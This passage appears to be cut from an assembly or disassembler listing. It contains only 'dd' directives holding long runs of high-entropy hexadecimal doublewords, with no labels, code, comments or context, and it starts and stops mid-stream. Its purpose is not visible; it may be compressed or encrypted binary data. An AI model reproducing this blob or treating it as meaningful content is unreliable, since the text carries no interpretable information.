9540A02Eh, 553A4Bh dd 0F1CA37D5h, 0F50C2241h, 0BD12F3B0h, 0EDAC2D71h, 0A8BAEDB5h dd 9602126Ch, 4DA1E782h, 0E67AC28h, 0B0975819h, 0D3A4D841h dd 9A342EBFh, 7F0081B2h, 0EF4E9D30h, 0C0045924h, 8C06DCDFh dd 975BA7B0h, 8899D31h, 0E5C32481h, 0E144121Fh, 546E2B98h dd 0ABA67300h, 472E3996h, 95EAC69Fh, 76B7A38Bh, 565E990Bh dd 0D86DE939h, 5748F641h, 720C568h, 3BB65B5Ah, 0B1B2DF32h dd 8D5198FDh, 21114155h, 6A21EDE8h, 14C8309Ah, 9D8910C0h dd 0CA285EDDh, 0A8DAE0EDh, 0BE3833FFh, 0F89B96C4h, 0C20BFE5h dd 0E65D3C0Ah, 0D1DB12B9h, 0E20DBC0Ch, 9D23E05Bh, 0A45379D7h dd 37B72573h, 68B6CEC6h, 0FA464D40h, 0A66F0C8h, 6C3CAB94h dd 198509E7h, 0DC8A6290h, 4AD41497h, 0C0C1DE6Ch, 15966F67h dd 0BBD30230h, 51C6D41Ah, 0D18D9F60h, 0B7961044h, 8A5F8464h dd 3CDE18E3h, 305EB79Ah, 1CAEB7D5h, 0D683C0FAh, 7BFBE029h dd 0ECF90625h, 41BB1387h, 8C71FFA9h, 8B18120Eh, 5EA9FA5Eh dd 7659FBC8h, 0C1B77FA5h, 0AD6ED700h, 0F7B7E93h, 0CF81AFBBh dd 14D097A2h, 6DD0BA55h, 66E86071h, 6500837Bh, 0DC909B1Ah dd 771DBB41h, 84504B81h, 8021ACC8h, 0DB21974Fh, 612A00B9h dd 1A9A95D9h, 84820DAh, 0B0D10C6h, 0E05FFC5Bh, 0FD8DB751h dd 162E7CE9h, 8EE800ADh, 8B3907D4h, 5B9C15Bh, 2DB5BD82h dd 0DE7EBA55h, 10CCCA1Eh, 43ED4A16h, 0D0A7CB3Dh, 0A5A4E2F6h dd 6FFA6A93h, 0F0D409E8h, 56008ED5h, 80BB7A31h, 0C25CD0C0h dd 0EE04999Ah, 38801171h, 0DE6FBFDDh, 0E4E81601h, 4CBDA97Ah dd 0E21022F8h, 9D6CBF52h, 956ECF00h, 5469BAC9h, 30A300DDh dd 68AD3531h, 0A4F7A91h, 0F45A24F3h, 408F04FCh, 0C8D8BB36h dd 0D6F17916h, 3E9BCC8h, 0BC149BDEh, 0B6104616h, 5B122951h dd 347AAAF5h, 95761003h, 0F5906921h, 6A5A5E57h, 73C0239Bh dd 0F7DFA111h, 158E8BA0h, 4130DC8Ah, 0F11E3E94h, 9C04E868h dd 0BD55D200h, 8318A68Eh, 0A8FB97F0h, 33181D59h, 0B5BE2C02h dd 848B3BD6h, 0BFB84FC6h, 7D973BDEh, 0FCD2FC2Eh, 84188C16h dd 0E14C1FD3h, 0D067952Ah, 0E2438211h, 0A2E4D000h, 7AAA2B60h dd 8FBE16B8h, 26A5F85h, 20B853E9h, 0E53E9D01h, 60B142D8h dd 0E354C2A7h, 68009012h, 0FB1848BBh, 9D31F659h, 8A268166h dd 0A6A4E0FCh, 0C29DF909h, 0DB07F510h, 3DFF09ADh, 33F2002Fh dd 8BFC50B3h, 60E9DE13h, 0A38B38FFh, 3339D592h, 934ECEBDh dd 0D2062EB5h, 5AA46FAFh, 988E54A0h, 80229713h, 0C15CDA8Ah dd 0D43256E9h, 54B2A100h, 0D82538ACh, 0D6985882h, 2926FD10h dd 9680F790h, 0C50F8F42h, 0B2CF4E83h, 0FE08DAEBh, 0D8902791h dd 98001707h, 169DC88Ch, 27BF65h, 79947C5Ah, 83899E5h dd 0F18B6012h, 99ED188h, 0BCE42A3Ah, 7D050D80h, 0C00009C5h dd 0AA461AFh, 3CA184FAh, 97795AD4h, 0B80FB37h, 348A31DFh dd 499DE870h, 0D94A10D5h, 8B083BE4h, 6EC3271Eh, 6639AB85h dd 0E3B08E26h, 9109D89Ah dd 71298BCAh, 2951AFE7h, 7DBD2385h, 0B1FFC188h, 0CD998178h dd 3EA979D0h, 0FFB52FA4h, 0A390ADADh, 57025DE3h, 29B09276h dd 4BA8FA8Dh, 0E5BD985Fh, 71AB31D2h, 90D5Fh, 4BDD9589h dd 0E6C9900Ah, 685AB770h, 58140B0h, 67E285D2h, 0D22AB7Bh dd 0E22927BBh, 0AC5C2F81h, 3CB8041h, 0C2A3242Eh, 4855D9A3h dd 861D691Fh, 926D3ECEh, 19509FE2h, 30598C6h, 616FF8CAh dd 3A10C82Bh, 95762DD1h, 98140498h, 291AE300h, 77DCFE5Ch dd 48F8B030h, 0CD10D452h, 0DE5B3824h, 14341EFh, 8722EDB5h dd 4E49854Fh, 33AB4405h, 870F915h, 6A0BACA9h, 8A0A11CCh dd 36E3E2C3h, 7EF10F5Eh, 2919CE7Fh, 2588BB24h, 8532D2Bh dd 1376F781h, 17045296h, 0D251E84Ah, 0B30B6DB6h, 976DED85h dd 0ABCF2FE0h, 0E1DB2D69h, 609FD8F1h, 0CA9B78EDh, 0BCCE3586h dd 97F3801Ch, 0BDA9AD6Ah, 2002E16Bh, 0DF00EFEDh, 2924EB35h dd 970BC195h, 7A107F3Bh, 0B91231F1h, 763FE1B5h, 0CAB1E0D8h dd 0DE94022Bh, 1DA46258h, 0D5DB560h, 56F94282h, 4601344h dd 324658Fh, 0DC61EA8Ah, 4C4F0C7h, 0F99D70AAh, 99CD22Bh dd 0CF584ADCh, 0E8B04FF6h, 4824C0Fh, 8DA1BB80h, 89950218h dd 0C03D7FBBh, 3EACE412h, 0B46DB625h, 0A601D64h, 0EA01B453h dd 742C1184h, 0DD2AD6E5h, 0D2115ABFh, 326200BEh, 0A0377BAAh dd 3FC114Bh, 0DB65D825h, 63DF8160h, 60D725CDh, 1C0096B7h dd 5DCC62B0h, 9DBA775Ah, 5EEE3B10h, 7608BC60h, 0B90840Bh dd 65EB544Fh, 27004EC4h, 0DA43927Bh, 121E385Fh, 0AC356E2Fh dd 204DB2F0h, 0CFBF3DB7h, 245C7112h, 9BAA2F25h, 3FDEC408h dd 0B3309EEh, 0BBE0E956h, 0E6C70319h, 0E7E15CFFh, 0BD245112h dd 75DA87FBh, 52C57CE1h, 58B5282Bh, 0DFB50464h, 0DB1261F8h dd 8D8BB226h, 9B2B285Fh, 83B8CFEDh, 0A926B6DBh, 5CE58079h dd 0EEDD489h, 0F171C456h, 0F47854D2h, 0BDDA4901h, 0C0E78060h dd 0DEAF182Bh, 2BF36FC7h, 71BBAE17h, 2F01E900h, 473C5BF3h dd 87C29E4Bh, 3B140BBBh, 0CA579C1h, 4FD3CB2Ah, 73A08DB6h dd 8A05F631h, 9B0FC5D3h, 2F87E2ECh, 0B03AA7D4h, 6084DBC6h dd 2C40209Ch, 17674D51h, 0ECD0E181h, 0DE0280F6h, 2F84EEFEh dd 2D7BD2Bh, 5C5B5F3Bh, 64256A22h, 1888AAC8h, 0E1574890h dd 2AC15F2Dh, 7E6AE5DEh, 0C8BD9FE9h, 8400663Bh, 0D044748Dh dd 2EBD8916h, 44AE3215h, 68F54001h, 902F9735h, 0E4700980h dd 48FE2C17h, 3094CA05h, 1853480h, 1638950Ch, 0A1279D03h dd 5AB8FC02h, 40356DD7h, 4C389DA2h, 7D26C170h, 611F052h dd 2FCEF04Bh, 21A9183h, 0C1B09F27h, 2312BBBFh, 0DCB360E1h dd 0FBB70F09h, 7B2DD559h, 7B7C78F5h, 7ACD11Ch, 0E74BDD8Ah dd 5C627h, 0AB3F1794h, 7C16C279h, 22D03000h, 12CAAE05h dd 0F192954Dh, 0E30A6DFDh, 0E7E80E9Ah, 480BA0FEh, 0D29D0B5Ah dd 94F3B76Ch, 70481A59h, 9E670EB4h, 8ABF912h, 2679FC82h dd 0BC8DE6DFh, 7800D457h, 982E301Ah, 4C838DADh, 651822D7h dd 0DD9DB502h, 0E8FB3149h, 0D7128C16h, 0C4309563h, 97C85h dd 0BBFA1969h, 4A7823A7h, 56270B97h, 0EB07DCD0h, 0C2AD972Bh dd 0F7805110h, 4817B2Eh, 3C0F473Eh, 36D0BA96h, 483A4B9h dd 5A537115h, 7E22E561h, 0EF09A005h, 6F35CDEFh, 0A9A8BDE2h dd 2BA0510Bh, 406D86Ah, 0CBAA0A68h, 2BCBA19Eh, 59F54F00h dd 10016153h, 0A42FE59Dh, 1246EEEh, 844FC0E9h, 207F9064h dd 8FAD5263h, 0FCB72007h, 5EB50B2h, 5D4BDBCh, 0DA7F5EE1h dd 0C315C891h, 4C1380D2h, 5B0461FBh, 0CFBF3285h, 0CB800932h dd 468659BCh, 0DB971E4Fh, 0AD5780Ch, 7BA2A101h, 43E92E8Fh dd 0D7E03237h, 0FE0BB5D6h, 7DC5E9FBh, 34641A8Ch, 746567B5h dd 93DB5BFh, 595C7D67h, 580E0BDCh, 83029E72h, 87091D8Dh dd 9C4B7D2Ah, 9C851799h, 0E8EBE904h, 834700DAh, 6021BA51h dd 0B709BFB0h, 1601D4B9h, 6B67692Ch, 54A559h, 0A7DEDD11h dd 17879F20h, 785A182Fh, 0E9252D74h, 5452A5FEh, 0DE70D466h dd 2746B004h, 52C041ABh, 97FC7C60h, 0B99DC430h, 0B3511940h dd 850109E3h, 5F96A4FDh, 34D8D2B8h, 96810F11h, 0BD8E66Fh dd 556BBB63h, 0B560E981h, 809468DFh, 0CE0AE012h, 0C13F00CDh dd 0DFFBF431h, 181F7461h, 0F34ED811h, 5F1750FAh, 8E50DB96h dd 5E6C094Ah, 80FC2756h, 0F57952h, 255699Dh, 0F2015A25h dd 0D5F819C7h, 0F1C9EA5Ch, 0B674127Bh, 3214B2EDh, 0ED665Fh dd 90939FCCh, 3ABAB064h, 81608E00h, 0D0E938CAh, 2097B075h dd 615526E5h, 54B76AD3h, 7C693B0h, 18A5D604h, 0E4B80138h dd 0DB88D4DCh, 842BB1C1h, 0A5F63F41h, 93B9B9B4h, 32C027ACh dd 0BFB95B60h, 0E4759905h, 0DAEFF907h, 0F8F6D6F9h, 271F1709h dd 0B490882h, 0BF04C220h, 0FE3112BBh, 0E0D5E155h, 4178C84Ch dd 5FBD1A97h, 8400A464h, 0ADB3DE91h, 3A555A46h, 800423F5h dd 0B9A6F02Fh, 10AF97ACh, 804F5A93h, 982C4A4h, 2A79852Dh dd 5EAF3427h, 2938F692h, 0FAA98901h, 0F113E2A1h, 6E91AD05h dd 4FA97E10h, 0E359DE27h, 2BEF9B00h, 1F3D4E3Bh, 405EBEE7h dd 335B4384h, 1E4EB5BDh, 206140A5h, 2BAD112Fh, 0B5E78A00h dd 0F3B24655h, 85A22AFFh, 53795F25h, 1216DEADh, 80AE281Dh dd 60A1DF12h, 0D5105AB7h, 0D981002Ah, 158C6F11h, 0C81B9761h dd 792014FAh, 1FC872Eh, 1CC02062h, 0CC5CD8DFh, 0D4E29218h dd 0D7E19E08h, 0F9559B8h, 96C014C8h, 0A8498529h, 0BA70B3B5h dd 18F86FBh, 1CFFAC69h, 6C4A0BECh, 12BED22Fh, 8053EC02h dd 57E4A371h, 181200F7h, 2B98CC4Fh, 64F69242h, 0BD38D409h dd 51B257F3h, 71502D7Bh, 75B816AAh, 9755FCC7h, 7F7FC3B0h dd 0FA60BF45h, 0F58231CDh, 0CE24284Ch, 3F49584Ch, 3B1F0E31h dd 0C2EA82A0h, 30961EE9h, 74FF1616h, 0B4828CA2h, 41DAC500h dd 0A0D377F5h, 719B935Dh, 48851815h, 0C122C5DAh, 32948595h dd 0E81371AEh, 7EEA100Bh, 29760F8Ch, 0C560BD40h, 8D0FBA37h dd 96225BEh, 0BF5F0511h, 0FC25B8DAh, 0BF0239E6h, 18065DB9h dd 0F4AAF4C6h, 8048E737h, 0B5B516Bh, 0F4561F65h, 143575DAh dd 16B27B00h, 25C5332Ch, 40E227E9h, 0C0266D5Dh, 0A47F9B57h dd 0B3B85801h, 0C18BC247h, 0E075F62Ah, 29651C7h, 0C85B2117h dd 845D2882h, 7CBD0501h, 0E08DA6D2h, 779EDAE0h, 14E3956Fh dd 37E15384h, 0F0B0E66Fh, 911D356h, 1F41BD09h, 91F69F57h dd 0CC74801Dh, 1E21E98Fh, 81798675h, 0A9BB6632h, 0E834694Dh dd 86C93BE9h, 0BD921Eh, 817BED3Eh, 3A13C0DFh, 5DFC52B4h dd 7B30229h, 62EE150Eh, 0C1555CB7h, 0C01223FBh, 0C41DECFh dd 0CC84F35Ch, 0CC50BC06h, 0E600290Ch, 0E8C9C318h, 2D95CDFCh dd 82D30489h, 1F2BB78h, 0DE7CC47Eh, 91F4A230h, 54603DDEh dd 16D98D09h, 0A3A6EAB1h, 42F67960h, 52131FAFh, 70C5C064h dd 8D8B964Ah, 6169E9B7h, 0A696742Fh, 7716A001h, 0D51701BAh dd 0CD9E0871h, 0BBB62A8Fh, 50301BB2h, 6DC71D46h, 8B0E0919h dd 11458782h, 0C8EA8E09h, 0D1FF0224h, 9D5EDE8Ah, 0F145A51h dd 6A85B1D4h, 0B8E2BD02h, 892512CBh, 31F8A0B2h, 0FE953FB9h dd 5EF92FF0h, 0B09DD6B8h, 2B4D2A6h, 812D4E2Bh, 9C57B3E9h dd 6818492Dh, 13D77476h, 6F507BDCh, 76C52FD0h, 0F5D0BC8h dd 2BE0155Ch, 0D61EE1BDh, 81FAE8EBh, 0EDF517DAh, 7FACE880h dd 57B6CD4Fh, 45CF6905h dd 88425B91h, 759D3156h, 0FA5F9E24h, 0D27A2320h, 77670013h dd 0CB908055h, 3512EBC4h, 2F69F2Fh, 0E2BEB712h, 4FED4BF8h dd 0E60306E8h, 89118CEFh, 5C098F85h, 5054E9E3h, 746ADB0Fh dd 25D548EAh, 0BBBB9319h, 8DB6B504h, 2E4559F1h, 118FA61h dd 0D1C8B002h, 0E68030D5h, 45E69870h, 0E4E52002h, 0CBF57125h dd 3056C4EDh, 32DB04D3h, 5C588803h, 885B4A5Fh, 3A1C926Ah dd 8A9803F1h, 0C8B6561Fh, 0C0B7F9ECh, 25F3DF05h, 5E45FC1h dd 77C2DEF9h, 0D090982h, 0FC49045Eh, 0A05A2588h, 3559D10h dd 0B508F589h, 99DA9C58h, 0F8E762D1h, 0A26FE94Bh, 0EBC7201Dh dd 0B81ADF7Eh, 0EC42B536h, 0D0741BDDh, 0F8319Dh, 0AFEA613Dh dd 70A636EBh, 60FB655Eh, 0B58BE72Eh, 7C45B4Bh, 0FC8063F8h dd 0FA3B37CCh, 818D6B00h, 7C516DCFh, 24C85AD5h, 0F7D8FFFFh dd 2546DC5Fh, 141720E9h, 951415A6h, 3989DF71h, 0C5252064h dd 0A7C17324h, 6B227EE1h, 881E1298h, 0C6278060h, 0E63854B2h dd 8B8466F5h, 0E1257790h, 82DE528h, 0CA279568h, 65377580h dd 0F60DF78Fh, 0F11309EAh, 35E9705Ch, 5F5D80D8h, 413953C5h dd 10165A25h, 0D33153h, 0B7A77BBAh, 0BEC7C1FDh, 55B220E3h dd 265B0D40h, 8232C5B9h, 0F39B529h, 60FC9F90h, 50F3ECC5h dd 5A938CFEh, 8398617Eh, 6A4BF702h, 82C02B0Ch, 0F0695BEh dd 6B66D20Dh, 4BB727D1h, 0F2EAF72Fh, 0DF9C301Bh, 4DAD5803h dd 28181CEBh, 0BFA3F16Eh, 0A2E0E34Dh, 12EABC68h, 0F21D3D3Ch dd 6F6E5F2Ch, 0D5E8A800h, 3C863ECCh, 39A0B962h, 2F45DA16h dd 287B11F1h, 2E991303h, 0EC8A98E7h, 30CD0079h, 5DB0DD3Bh dd 0CE4F8C56h, 0BD037D30h, 0B70E5AA1h, 0B4875FF1h, 2FAB47C4h dd 976A4AEAh, 0F5399D0Bh, 18291F1h, 550465B5h, 8D643151h dd 0DFDD9EAAh, 95842E40h, 0CF63C6E7h, 0C049EFE0h, 12300D79h dd 0B33B527h, 0D7CF807Ch, 46D6DC56h, 5E352E14h, 0FFDC6802h dd 70B073E1h, 0AD051167h, 494ECF8Ch, 2907C0FEh, 0FEA86195h dd 6B128FBBh, 2DF21CB9h, 0FB04A984h, 0DC01D97Ah, 0B3CDD826h dd 0D6FF3045h, 712FF912h, 90884DF2h, 0CD097BA4h, 0C228790Ch dd 0E9D30447h, 0A92BD0h, 7ECF3CFCh, 0FFF159Fh, 0F98C604Fh dd 0C1951031h, 38093B04h, 14E3DA0Dh, 25819D08h, 478B186Bh dd 13B40E9Ah, 6AC0CB01h, 9691946h, 0D288DC02h, 55BD33C9h dd 5F4B82F0h, 212B4FD2h, 0D98A92BBh, 7992B6Fh, 207FF8DDh dd 6A7AF1C4h, 57059B70h, 219A183h, 0D2A3DAFFh, 2FB2F898h dd 4B84D727h, 0BB900006h, 932C8BCh, 1BB75008h, 902526C3h dd 40F259F9h, 65BAB960h, 7A12F227h, 10E21ACAh, 9CD9718Bh dd 0B3CCD800h, 9E763Bh, 0E26F5313h, 609708B0h, 0DE109602h dd 771F6BFCh, 76C51EC6h, 60AA5FD8h, 9F683B4Fh, 710097F6h dd 527555DAh, 7E7CD66h, 17CB314Eh, 5F5B923Ch, 584B82C4h dd 977F56Eh, 0F5F85DC2h, 33A60859h, 0ECC1D225h, 0FC3FB485h dd 59B9F80Eh, 0A42D2383h, 0DD522556h, 81D530Ah, 1C3C3241h dd 5C2D024Fh, 1D09602Fh, 317E8A1Ch, 8CAE6F01h, 0F3E1E286h dd 0EF33162Fh, 317C217Bh, 45EC27A9h, 0B58C0526h, 41EF0011h dd 0FE796F30h, 21002FD7h, 0D260B343h, 4F0F381h, 5F423CE7h dd 0F12E8409h, 74172EA0h, 37B0BAF7h, 0CA958509h, 555B5C1Fh dd 449EE109h, 0E333010Dh, 395C3247h, 5B742F44h, 93DF52DAh dd 640FAE2Ch, 8DB3D9F9h, 61092529h, 0AEB70689h, 0B1032683h dd 0A85E5E57h, 0B9668127h, 1E10283h, 972659ECh, 0CF815FB8h dd 58AFD609h, 377879h, 52BB96F9h, 500145CAh, 293C69Dh dd 81E7A637h, 0B37D8661h, 32409CDCh, 0E356821h, 9A3E7800h dd 0E31BA175h, 4AA312EFh, 350BAB5Eh, 89FCD996h, 87909D89h dd 8709DF81h, 7A374839h, 6C6F9D35h, 0E2668D4Fh, 0C82A0BDDh dd 3472A91Fh, 0D0A4F705h, 2CAE7CB6h, 31093B8Fh, 92501E5Eh dd 0BF3D4B5Ch, 95B7BF00h, 265748F1h, 58D3099Eh, 6B893937h dd 85B8823Ah, 0C5BB002Dh, 7404AB55h, 7EBEBF66h, 6D27BBCh dd 325BCDA7h, 9E2C1520h, 0BE2B6038h, 6504B8BAh, 10584CE1h dd 0D9A50953h, 655CA342h, 2E1446D6h, 0BD1F19FFh, 27B5EC60h dd 4A5C2A99h, 0A751E6C0h, 6106313Dh, 2F30597Eh, 760773Dh dd 0DFC23E92h, 2D2E6031h, 5C610202h, 2B4B5156h, 0BEB584E7h dd 5EAE6712h, 0B75AB8E8h, 5F1BA06Ch, 0E9B501F3h, 1959FF0Fh dd 218E6B0Ah, 6D27B5BCh, 40C16F16h, 3219B1EDh, 0F385CE12h dd 0F78C5EF2h, 0BF025051h, 21D65319h, 4BE7965Fh, 0B00CF7E3h dd 17BB1B19h, 0FAB76E8Fh, 4ECC6664h, 0B9200D3h, 532CB680h dd 1F05E676h, 9872DAFCh, 4AB827D4h, 0AD5666CFh, 33CD92DCh dd 4ACEE73Fh, 0EEA287E6h, 3D737748h, 6096641Ch, 0BF5BD06Fh dd 611C8394h, 26FDEAB2h, 3060B260h, 0D9CE5Eh, 3FDF1934h dd 0E30D2423h, 8AE2B918h, 995AD6C0h, 1AB48078h, 0ACA97B74h dd 61563F16h, 0B4BC6BEDh, 0B37BC928h, 0F06B73BDh, 740105F0h dd 0A2655B5Ch, 0FA20DA97h, 9D6BF7F1h, 150E30A1h, 3BFDC595h dd 356DF27h, 41746D6h, 6213BFB1h, 0FB9210BCh, 5602266Fh dd 769AB96Bh, 0BFE53057h, 0E40297FAh, 0E15C72B3h, 0C03C4D27h dd 9D015FCFh, 540E3D27h, 37FC5AF5h, 308D13D4h, 0ADBB07Bh dd 0ECDC84Bh, 8735206Ah, 0A0001FFAh, 68EE5A29h, 1C516FD8h dd 8E11528Eh, 0B0B6178Ah, 6AE25F17h, 0DEC896h, 62A959EFh dd 9C76994Bh, 10FEE426h, 9BF2320h, 0C7DF543Eh, 8531908Bh dd 0CE952489h, 129F98D9h, 0AF50CF6Dh, 3620188h, 29467A25h dd 70FFC9B0h, 0AD2E7F45h, 2C415309h, 9D5E7061h, 0F5840973h dd 9CEA4090h, 286735EBh, 4949D0Dh, 27F18EEAh, 0D881FB48h dd 0FD139420h, 160B4650h, 0BC34EB61h, 72E042A6h, 0F3358019h dd 0DFAEE479h, 7F8D8B00h, 33A754B5h, 73B3E848h, 0A75E027Bh dd 7ED8A1A0h, 507945D5h, 28256FF9h, 174E468h, 0A5FED7F7h dd 2B596A70h, 0D4E50C0Ah, 315F5B83h, 0CAEAB4BDh, 8002F029h dd 8AD44BEBh, 23D22B1h, 4543D381h, 35571674h, 801A91EFh dd 688C385Dh, 0D8E312F6h, 222AB01h, 4FA57AC6h, 0AC571661h dd 401FBAB8h, 6877C4FDh, 0E9C7913Bh, 0B9112E62h, 0B793BC9Ch dd 0C14B0950h, 0B180329Bh, 65D24C13h, 7D62B300h, 9D2326CCh dd 9DD59019h, 84409418h, 4530B700h, 6D2A5D9Ch, 32632EFEh dd 0F6592DDCh, 2D68E48h, 48DF0CC7h, 0D6554D27h, 0ACCAADFEh dd 0F52F85DCh, 263DBF8Bh, 13A91E12h, 0CAD0BB92h, 51299D2Bh dd 0C83A3019h, 2700E0AEh, 38E79715h, 0BE33156h, 459D33BDh dd 0FC8CACF5h, 0EE242F98h, 60802654h, 0C3B966F9h, 2E589D96h dd 0EE934D9Dh, 0F01A073h, 2519E4BDh, 5389F133h, 3670F973h dd 136F0B6Ah, 0B9051C12h, 0E8D8FBFFh, 89E95B85h, 0D8097D6h dd 0F67152FBh, 0FC18F066h, 55B51331h, 4A76AB10h, 0EF9D5F1Ah dd 6BABBC12h, 12142313h, 0E2E249h, 924BCD82h, 1E0AC873h dd 5762E26h, 0A2D1FFEDh, 0FCEC02ADh, 755D8691h, 0A01EDCEh dd 55B045CCh, 97AD013h, 96715F37h, 89564E44h, 54B26F6Ah dd 0C620EA97h, 17606A1Ah, 83EDB589h, 0F9B103F9h, 610C9215h dd 0C85E44BCh, 0AD5889C0h, 0C3E0Ah, 0E5B2985Dh, 5E8A5004h dd 16BFB2FAh, 0EB291F0Dh, 0F86B64A7h, 6755CDF2h, 4BA21291h dd 836DFC5Fh, 0FF921FC1h, 0A5F21F3Eh, 8FBC86CEh, 0B007004Fh dd 0A7E527h, 597134F1h dd 0F525FFCBh, 3C957312h, 0D7F8F94Dh, 6FB9EE39h, 1D3C7CF5h dd 8085C52Ah, 9761C0DEh, 0B7D7921Ah, 7072843Fh, 90AEB951h dd 0A103CFFDh, 14408AC5h, 2B5FD8h, 1F5D1B0Bh, 0BF5592EDh dd 8D1395F6h, 6BFF5B2Ah, 0BA984EDBh, 0A9A00A5h, 771B9590h dd 0BB01B729h, 3780EB9Dh, 0A66EFF6Ah, 3720E02Dh, 0E1C09F2Fh dd 365CF2D7h, 321D1232h, 0F0A771B7h, 49DF13CAh, 289A9312h dd 622EAE6h, 8500DEA6h, 1D7A8232h, 3A7B4Fh, 0BAE66B65h dd 192D7DBBh, 78B04225h, 12852034h, 0F91870FEh, 0EFB871E4h dd 92BB4B8Ah, 12BD6FDh, 303DBD65h, 0ED5C5F02h, 10BF816h dd 40947FB5h, 10A5BD10h, 0EF49AA92h, 4AE870F8h, 29A18C56h dd 4575B532h, 1148D55Bh, 0CF8431ADh, 0F5B91510h, 0E24C28Ch dd 0D82E7040h, 7E1366C5h, 22EFC0D0h, 0FB5CD455h, 75475509h dd 0B4B7D740h, 0A694097Bh, 0F9057C4Fh, 0CCFED03Bh, 449D33F5h dd 0D651E4D3h, 0FD7B0417h, 0D8CAAA07h, 9CF2E302h, 45D56820h dd 0E53120Ch, 7E620609h, 6E555B6Eh, 0F13A81D6h, 8612CC6Eh dd 0A3462400h, 9E541493h, 517C9061h, 8C016895h, 282E0B5Dh dd 0A6412DD8h, 0DFD9206Bh, 0FD3E3AA3h, 8F608066h, 4DB3FE3Dh dd 6EF10B21h, 0B9E12867h, 6AEB2AF5h, 0CE984E4Fh, 2747007Eh dd 95A3F052h, 0A54C382Ch, 32A44A74h, 0F5049D57h, 0B95F010Fh dd 0B00100Ah, 264B659Dh, 1266C488h, 0AB08F4BBh, 43A5AD0Ch dd 0F6C04B2Bh, 7B12E01Ah, 4C08029Fh, 0A46C9931h, 0D22B96E0h dd 9DC0296h, 3EC211A2h, 32101D54h, 5BF9500Bh, 46FEE056h dd 0AC8C1216h, 0DF277FB8h, 0DC3B74h, 0BF2E61D9h, 0CA07AA76h dd 0A032BB04h, 0CDAA531Ch, 0E4E33FB3h, 0BF56081h, 6AE47A85h dd 0BD1A9761h, 0EC401854h, 25F8F12h, 59E83CC7h, 0C75CC2CCh dd 0D4AD9C5Eh, 0E3E5AB13h, 0D825EAE8h, 0D0707BD3h, 8C7B1EA9h dd 0E0C5257Dh, 81038011h, 758B11E7h, 2B5FF1FCh, 8FA042F7h dd 51255D8Dh, 2EC7B0Ch, 60E30D87h, 64C54D75h, 99456019h dd 4EC602D8h, 0F18A60E2h, 30408C74h, 726264CAh, 0C9840478h dd 81294D2Bh, 206155Fh, 9EE2DF59h, 281655F4h, 2B1A38AAh dd 652568BEh, 6F391FACh, 55D2767Bh, 0F6AF06D9h, 0DD53D2F3h dd 7D4DF470h, 0DE68024Ch, 5A0B5CC4h, 0F3579EEAh, 113870C9h dd 351DF804h, 65A35BA1h, 3A33CB00h, 0F87FBFEDh, 801F4B3Ch dd 318F2495h, 388B51DAh, 0F8C5BFEh, 0F937018Ch, 0DAFC2497h dd 0B73749AFh, 0EE911D5h, 398D8910h, 5705629Dh, 0B852AED3h dd 1D43CA18h, 26B37452h, 0E27A0EB8h, 0F5710BC9h, 0F09FB2AAh dd 174B25E4h, 0A3606854h, 44738AEh, 9767F3B1h, 8CAAC690h dd 0E8B72890h, 32456845h, 523C3FEAh, 0FC43AC5Ch, 0D4F3C830h dd 690C0039h, 0DC668326h, 0C47598DFh, 0BB7C1F02h, 0E97BA824h dd 85C9313Eh, 14CA7Eh, 5FC0D932h, 2525C20Eh, 0EF70585Ah dd 20E9BA00h, 0F337BB17h, 0DA7FE17Bh, 0C115C8B6h, 40E8CBB5h dd 8D01FD42h, 13672F00h, 766D12AAh, 8041E708h, 0C10424E5h dd 3FCE859Bh, 0C0C12B9Eh, 7BB7788Dh, 98E94202h, 0BEB9DE01h dd 8BFC32AFh, 606A6D5Ah, 0F4466F97h, 0FCFE66C4h, 81C0A1B8h dd 83347CF3h, 858D3D4Bh, 98AAA354h, 3108E7C9h, 2C5829ADh dd 0E28D125Dh, 89018F0Fh, 554642BDh, 76AF46BDh, 0B54CAE8h dd 217FF26Eh, 588CBB32h, 44861E24h, 2413BF05h, 34FB71FAh dd 0E08EF67Ah, 921CF85h, 1EF6ADE3h, 1031D002h, 0FE18BF00h dd 8D354B8Ah, 0C1C92B36h, 70F9A07Eh, 9659423Fh, 0B700487Dh dd 0DEF68166h, 5F610F2Fh, 0F48BD03h, 0C596800h, 498B31EEh dd 0A63F71D8h, 0F6CFF13Ch, 0F812E331h, 5DEA323h, 29DD2A6Dh dd 2BCCBAFDh, 0ED9D1289h, 0BC8FB901h, 78BF8C14h, 27F12096h dd 0C0A39048h, 61CB1B49h, 9CAEA028h, 9B18124Eh, 2B6FC89Eh dd 36E8B300h, 9A0FDEB5h, 739F0A6Ch, 8AF45F27h, 2DF2CFB7h dd 1EEA1408h, 0F8C9BB90h, 5B611A99h, 8991C095h, 5A38A66h dd 6DBB2177h, 0C7D50085h, 95314702h, 0E90E195Bh, 2F01C429h dd 70F447B8h, 2C195B0h, 25036080h, 0C95D01B5h, 2C2ECE65h dd 89895050h, 0AB25B9F5h, 0AAD4C46Fh, 0DE00E67Ah, 0DC99C157h dd 1A583EF8h, 0F9DB273Eh, 0AE240025h, 72BC90BBh, 0A108DA0Bh dd 81679830h, 782F3458h, 5F4BA492h, 7D385B9Dh, 6F729B80h dd 97F949ABh, 10E34E14h, 292802BBh, 66E3349Ah, 5B9E2573h dd 0ADCE7549h, 0FC64462Fh, 7C0055CDh, 9D2B9A72h, 0FC095B15h dd 0A6B4A43Ch, 0EE3A718Eh, 0C1A20F77h, 6224A13Eh, 0AD4C844Ah dd 0D9BF8458h, 0DAD755B9h, 162D80C9h, 35A6F5h, 0ADDAD97Ch dd 68E0F47h, 0DF6D628Ah, 89489AAh, 96002831h, 38BE6660h dd 61D9EBBBh, 0F60102ADh, 0F0967A84h, 682B7DE5h, 0C62F9F54h dd 0A9878054h, 83A972Ah, 3BADB63h, 910537D7h, 5CAA8914h dd 0C82C21Eh, 0C2FC7629h, 5929659Dh, 5378AD15h, 80527F04h dd 0CBB6FFD3h, 9FE0067Eh, 1A18B64Bh, 615625BDh, 7ACC8404h dd 80250CB9h, 0FE0056E4h, 0F847F917h, 74B843h, 300698C1h dd 0BB5192FAh, 5EE0A607h, 89145B39h, 8380C2AAh, 0D525576Ch dd 2610CE2Eh, 616F870Fh, 7C52FBBFh, 404D80FFh, 4B1F8D71h dd 60028D5Fh, 106E759Ch, 44E5CBF9h, 0A9109597h, 0FE4A7348h dd 0A4D4DCEBh, 10033713h, 26AD6BFFh, 65C1ED16h, 3795705h dd 20339C4h, 0EAA6B350h, 0DC895410h, 4313782Eh, 827F30Ch dd 5BB65242h, 44CE724Ch, 21D710E0h, 204519Bh, 0E0FE9849h dd 0BCD20CB8h, 0C71C25EFh, 0B9411706h, 5825EC4Bh, 